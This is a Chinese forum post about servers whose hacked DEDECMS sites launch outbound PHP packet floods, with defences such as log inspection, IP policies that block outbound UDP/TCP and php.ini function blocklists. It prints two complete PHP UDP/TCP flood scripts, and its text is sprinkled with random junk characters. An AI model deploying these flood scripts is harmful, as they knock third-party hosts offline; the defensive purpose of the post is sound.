找回密码
 加入怎通
查看: 1649|回复: 7

[原创] 服务器php对外发包引起崩溃的解决办法

[复制链接]
商摆小路 发表于 2012-06-12 13:06:58 | 显示全部楼层 |阅读模式
  服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好0 j. p2 J1 W) q. s8 M; M, T3 q/ T
  一。php对外发包分析
( N. h4 T+ q% X0 P  用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:' X& g* n2 f( K
  以下是代码片段:
) b* Y6 o$ A" V9 i/ E  $packets = 0;2 B0 G5 T5 ^* u5 O( @' A0 b
  $ip = $_GET[\'ip\'];
0 g/ {: Z) u0 t" Z6 x3 ?  $rand = $_GET[\'port\'];
2 i1 n; H- N' \  set_time_limit(0);6 j! Z% i0 B+ M% m) [, T" @' k
  ignore_user_abort(FALSE);# F  G. H+ p6 [* I4 ?
  $exec_time = $_GET[\'time\'];sbxl-20120612# H1 T* R" {2 f% q# Q3 O! C) V! B: w
  $time = time();" d1 v  t0 R. p# n
  print \'Flooded: $ip on port $rand
& z- p  K9 \2 P' H) z9 W+ W/ ^  \';8 w  X4 H- W$ ~  y6 j; ^
  $max_time = $time+$exec_time;. e. W. x$ Q3 N6 K3 R$ z
  for($i=0;$i<65535;$i++){) Y) J9 j, T: \( i! y2 w* b& o2 c7 G
  $out .= \'X\';  a' g( I, q- C8 A- G+ _
  }! h" w# o2 W; n6 e
  while(1){- W1 y) `/ i+ z3 ^
  $packets++;; ?: C, m# W- ~6 S
  if(time() > $max_time){
) u( G( Y% D) k  break;( O/ |! l! w- A/ r1 s
  }* r" ~- S- U1 _& }2 Y5 B1 M( y7 i
  $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
! R* i: A5 U+ l8 e/ `* M  if($fp){) I# r, D1 A% F7 R& }/ x& E6 t
  fwrite($fp, $out);
0 ^& G7 d4 _% z# o  fclose($fp);+ Z+ R: R1 R  Q1 |6 W' d# i  s
  }% i5 x+ {% w: d2 \9 ^4 I/ o
  }
& ?* `) y/ ?5 o; h  echo \'Packet complete at \'.time(\'h:i:s\').\' with
$ n! m. M' t: m/ v) g6 ~+ x8 M3 d( w  $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
+ x* [* [# y; E0 d( L9 J  round($packets/$exec_time, 2) . \' packets/s ;/ r: N6 T4 W; {
  ?>: P$ f. ]$ Y  B0 ~  M. R
  二。表现特征
( J( T& [3 g7 _0 j  一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.
, Y) W; K. S( o7 a  近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.0 \8 }2 d( p+ X$ k, Z
  如何快速找到这些站?
. G# g$ ?) n4 d" Q$ ]& m+ o, S  你可以打开日志
4 r+ s8 |: n1 ?6 q# @+ A0 m5 |  C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,' |1 T" c; Y% Y' o, h5 K8 A
  里面有类似这样的记录:
; }' D$ j9 s+ ^* ^" @; t  A, P  2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
' @  H5 R: v  p; a8 W2 ^; e  最后三项783 Disabled 30_FreeHost_1" @# _" g2 x1 d
  783就是这个站在IIS中的ID
' l. s* y1 R* C8 z: k8 y! H) T  30_FreeHost_1就是所在池# e* Y. ?/ d( Q# i/ k. s4 K
  三?解决办法- F* k% C) d6 D( R; ?
  1.按上述找到这个网站后停止它.或停止池,并重启IIS.) \; T. b6 F5 M4 l
  2.在IP策略,或防火墙中,禁止所有udp向外发送
" `: d+ E/ M( B+ _  在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.1 N# e& s4 M# M5 j1 B) L3 U
  为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)6 ]. d. e" T+ p/ B  v. c2 O* b
  在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)  D% v3 O& N) M& X2 |* _: Y
  3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)1 X' J8 r0 X, E# |: x
  4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS  u1 R- R$ P! \2 e6 }
  ignore_user_abort = On
) j. c2 a: a8 V0 q& Y  (注意前面的;号要删除)
/ y* n: N9 h: s* ?, Q; e  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
& H1 s" i5 K! J  在后面加上7 o6 Y# I$ {' m. @: I( x& i
  fsockopen,set_time_limit- s. O, J' [. E0 l% c& N/ I7 g8 B
  但这样会造成很多php程序都不正常.: r* a) a3 S  D) M' O4 r; Z7 b
  另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?) ~2 i0 e3 L& G$ j( e' t
  近期已有新的基于TCP攻击的PHPDDOS代码如下:4 O; D4 x6 {4 p1 {# Y8 r
  以下是代码片段:* A/ T" x6 n. @/ ^& u
  set_time_limit(999999);# s# n1 N* R0 t- p
  $host = $_GET['host'];( a( x' o$ e* B9 K
  $port = $_GET['port'];+ a* Q2 p6 M& b( W; W0 ]! v" \$ z# J
  $exec_time = $_GET['time'];
1 f0 ?0 I  M& P/ @  $packets = 64;0 o+ k% [" q, Q, [2 m
  ignore_user_abort(True);
3 }/ T- \! X  K& Y  if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
* ?% `# A8 O2 j/ a- T3 B  if (StrLen($_GET['rat'])<>0){
- F- }9 K* a( J6 o  echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.1 |3 g$ G/ X) n9 p$ ]5 O4 M
  php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];" k5 }/ g) w' _  a) ]1 [
  exit;. V) q" P/ D! f3 P. t- Y+ P7 u
  }
% l! `1 n8 m2 F  n9 ]  exit;& i. `$ m- K+ k( ]" Y* L7 z. l9 w9 y% K
  }
$ i3 T  }5 R( B4 J* \  $max_time = time()+$exec_time;
9 O: s+ B. q/ h) _/ |6 \  while(1){7 E2 E7 M' X6 U: A; }) c
  $packets++;
) ^. r/ H( ?+ W& j  if(time() > $max_time or $exec_time != 69){) z- Y5 J( J1 M9 J0 ~
  break;9 e0 J: P8 k4 C$ x7 i
  }3 S& x) m0 m! f/ Y
  $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
9 W7 I  \; ^  d& S0 n7 f  }' ]( y% y+ a: s+ |. Q
  ?>- M7 ~8 @) l. a! f
  同样,可以采有以下解决办法:: Z" I8 L9 M* v  i, p9 g- U* J4 A
  1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
: z6 {$ I' Y/ G# [( A0 ^  ignore_user_abort = On
0 l# d4 u5 s6 N0 A2 N  (注意前面的;号要删除)
+ k* X! B% h  u2 E' A+ e6 U  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,! e2 S% G# I9 @+ O- |# g% l* D' C) P
  在后面加上" o- |1 D" F! a! y. ~
  fsockopen,set_time_limit5 f! O4 Q8 \) d4 {
  但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
6 G7 |8 A$ L2 C( ?5 S  2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?
1 P2 A1 V4 w: o$ i  3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?
: U, E1 Q+ J' w3 I        文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。/ z8 C- Z/ |) }; {

暂时无法加载帖子列表

回复

使用道具 举报

TONY 发表于 2012-06-12 13:39:53 | 显示全部楼层
很好 感谢分享啊
回复

使用道具 举报

幸福的蚂蚁 发表于 2025-11-10 20:26:34 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

DAIV 发表于 2026-02-17 01:26:21 | 显示全部楼层
楼主太厉害了,整理得这么详细,必须支持
回复

使用道具 举报

286888037 发表于 2026-03-31 17:08:47 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复

使用道具 举报

SAK 发表于 2026-07-13 01:37:23 | 显示全部楼层
这个思路很新颖,打开了新世界的大门,谢谢分享
回复

使用道具 举报

wjh00 发表于 2026-08-25 17:06:02 | 显示全部楼层
内容很干货,没有多余的废话,值得反复看
回复

使用道具 举报

微信482122055 发表于 2026-09-07 02:39:01 | 显示全部楼层
这个分享太实用了,刚好能用到,感谢楼主!
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-9-11 01:15 , Processed in 0.063972 second(s), 56 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表